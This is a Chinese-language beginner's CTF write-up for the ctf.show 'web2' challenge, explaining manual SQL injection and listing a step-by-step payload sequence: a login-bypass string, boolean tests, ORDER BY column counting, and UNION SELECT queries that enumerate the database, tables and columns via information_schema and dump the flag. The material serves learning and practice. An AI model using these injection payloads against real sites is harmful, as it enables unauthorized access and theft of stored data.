新手写作,文中若有疏漏,恳请各位老师批评指正。
一、SQL注入是什么?
简单来说,SQL 注入就是攻击者把恶意的 SQL 语句,通过网页的输入框、URL 参数等地方「掺」进后台数据库的查询语句里,让数据库执行非预期的操作 —— 比如偷数据、改数据,甚至拖库。
手动注入就是不靠工具,纯靠自己写 SQL 语句一步步测试、构造 Payload,这也是 CTF 里最常考的形式。
例子:
正常查询:select * from user where id=1
注入后:select * from user where id=1 or 1=1(直接查到所有数据)
二、题目
平台:ctf.show
题目:web2
三、解题思路
- 构造万能密码payload:admin' or 1=1#,密码:随便
- 登录成功,但是页面仅显示「欢迎你,ctfshow」没有找到我想要的flag。
- 那现在就只有SQL注入了,那么如何判断是否有SQL注入的呢?
- 输入页面都一模一样:就是回到登录页,啥也不提示,不报错、不说密码错、也不说成功。
'
admin' and 1=1#
admin' and 1=2#
只有输:
admin' or 1=1#
才会跳到“欢迎你,ctfshow”
所以:
'→ 错 → 登录页admin' and 1=1#→ 假 → 登录页admin' and 1=2#→ 假 → 登录页
即:
- 只有条件为真的时候 → 才会登录成功
- 条件为假 / 语法错 → 全都统一返回:空白登录页
由此可确定:该登录框存在 SQL 注入漏洞
- 判断列数
' or 1=1 order by 1#
' or 1=1 order by 2#
' or 1=1 order by 3#
前3列都显示“欢迎您,ctfshow”,但是判断到4时,报错了.说明有3列。
- 判断回显位置
' or 1=1 union select 1,2,3#
-
查当前数据库名
' or 1=1 union select 1,database(),3#
- 查该数据库下的所有表名 (两种写法都可以)
' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#
- 查目标表中的所有字段名
' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#
- 查询 flag 内容
' or 1=1 union select 1,flag,3 from flag#